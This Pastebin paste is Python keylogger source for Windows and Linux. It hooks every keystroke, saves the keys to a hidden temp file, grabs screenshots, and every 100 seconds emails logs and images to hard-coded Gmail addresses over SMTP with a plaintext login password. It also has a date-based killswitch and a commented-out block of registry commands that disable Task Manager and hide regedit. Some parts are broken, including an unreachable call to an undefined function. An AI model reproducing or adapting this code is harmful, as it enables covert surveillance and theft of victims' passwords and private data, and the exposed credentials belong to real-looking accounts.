Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import os,socket,sys
- # enter killswitch
- from datetime import datetime
- from datetime import datetime as dt
- expires = dt(2016,7,8)# enter date in %yyyy,
- present = dt.now()
- if present > expires:
- #print "oza expired"#killswitch code here
- #print "exiting"
- sys.exit()
- else:
- #print "not expired"
- pass
- # end killswitch
- import os, random, smtplib, string, time, threading, datetime
- from smtplib import *
- import email
- #from email.mime.text import MIMEText
- #image grab
- from PIL import ImageGrab
- #email attachment
- from email.MIMEMultipart import MIMEMultipart
- from email.MIMEText import MIMEText
- from email.MIMEImage import MIMEImage
- """
- #hide app imports
- import win32api
- import win32console
- import win32gui
- #hide app
- win = win32console.GetConsole()
- win32gui.ShowWindow(win,0)
- """
- if os.name == "nt":
- piattaforma = "windows"
- import pythoncom, pyHook
- if os.name == "posix":
- piattaforma = "posix"
- import pyxhook
- #You can found it here: http://pastebin.com/J4JSrHZR
- def generate_random_string(low,high):
- length=random.randint(low,high)
- letters=string.ascii_letters+string.digits
- return ''.join([random.choice(letters) for _ in range(length)])
- rand_gen=random_string()
- return rand_gen
- global logfile
- if piattaforma == "posix":
- logfile = "rpd.txt"
- if piattaforma == "windows":
- temp_path = os.getenv('TEMP')
- logfile = temp_path + "\\logs" + generate_random_string(10,15)
- f = open(logfile,"a")
- f.write("")
- f.close()
- if piattaforma == "windows":
- # --------------- Anti's - Protection ----------------- #
- def Antis():
- '''
- os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f")
- os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f")
- os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f")
- os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 2 /f")
- os.system("attrib +a +s +h %windir%\regedit.exe")
- os.system("attrib +a +s +h %windir%\system32\regedit.exe")
- '''
- pass
- # ------------------------------------------------------ #
- def keylogger():
- def OnKeyboardEvent(event):
- if event.Ascii != 0 or 8:
- f = open(logfile,"a")
- keylogs = chr(event.Ascii)
- if event.Ascii == 13:
- keylogs = "\n"
- f.write(keylogs)
- f.close()
- # create a hook manager
- hm = pyHook.HookManager()
- # watch for all mouse events
- hm.KeyDown = OnKeyboardEvent
- # set the hook
- hm.HookKeyboard()
- # wait forever
- pythoncom.PumpMessages()
- if piattaforma == "posix":
- def xkeylogger():
- def OnKeyboardEvent(event):
- if event.Ascii != 0 or 8:
- f = open(logfile,"a")
- keylogs = chr(event.Ascii)
- if event.Ascii == 13:
- keylogs = "\n"
- f.write(keylogs)
- f.close()
- # create a hook manager
- hm = pyxhook.HookManager()
- # watch for all mouse events
- hm.KeyDown = OnKeyboardEvent
- # set the hook
- hm.HookKeyboard()
- # wait forever
- hm.start()
- def mailsender():
- username = 'logtuma@gmail.com'
- password = 'staff@725138'
- mittente = 'rapidspace9@gmail.com'
- ricevente = 'logtuma@gmail.com,tumabaruapepe@gmail.com'
- while 1:
- time.sleep(100)
- fo = open(logfile, "r")
- keylogs = MIMEText(fo.read())
- fo.close()
- msg = MIMEMultipart()
- msg['Subject'] = 'Logged keystrokes'
- msg['From'] = mittente
- msg['To'] = ricevente
- try:
- myhost = socket.getfqdn()
- fromaddr = "tumabaruapepe@gmail.com"
- toaddr = "logtuma@gmail.com,jjukumu@gmail.com,tumabaruapepe@gmail.com"
- msg = MIMEMultipart()
- msg['From'] = fromaddr
- msg['To'] = toaddr
- msg['Subject'] = "kill switch lgr machine : "+myhost
- body = str(keylogs)
- msg.attach(MIMEText(body, 'html'))
- ImageGrab.grab().save("x.jpg", "JPEG")
- fp = open('x.jpg', 'rb')
- img = MIMEImage(fp.read())
- fp.close()
- msg.attach(img)
- server = smtplib.SMTP('smtp.gmail.com', 587)
- server.ehlo()
- server.starttls()
- server.ehlo()
- server.login("logtuma@gmail.com", "staff@725138")
- text = msg.as_string()
- server.sendmail(fromaddr, toaddr, text)
- """
- #s = smtplib.SMTP_SSL('smtp.gmail.com:587')
- #s.login(username,password)
- #s.sendmail(mittente, [ricevente], msg.as_string())
- #s.close()
- """
- print "Successfully sent email"
- #print temp_path
- print keylogs
- # Open a file
- fo = open(logfile, "w+")
- fo.write( "keys logged :\n-----------------------------------------------------------\n");
- # Close opend file
- fo.close()
- except Exception, a:
- print a
- if piattaforma == "windows":
- thread1 = threading.Thread(name="sic1", target=keylogger)
- if piattaforma == "posix":
- thread1 = threading.Thread(name="sic1", target=xkeylogger)
- thread2 = threading.Thread(name="sic2", target=mailsender)
- thread1.start()
- thread2.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement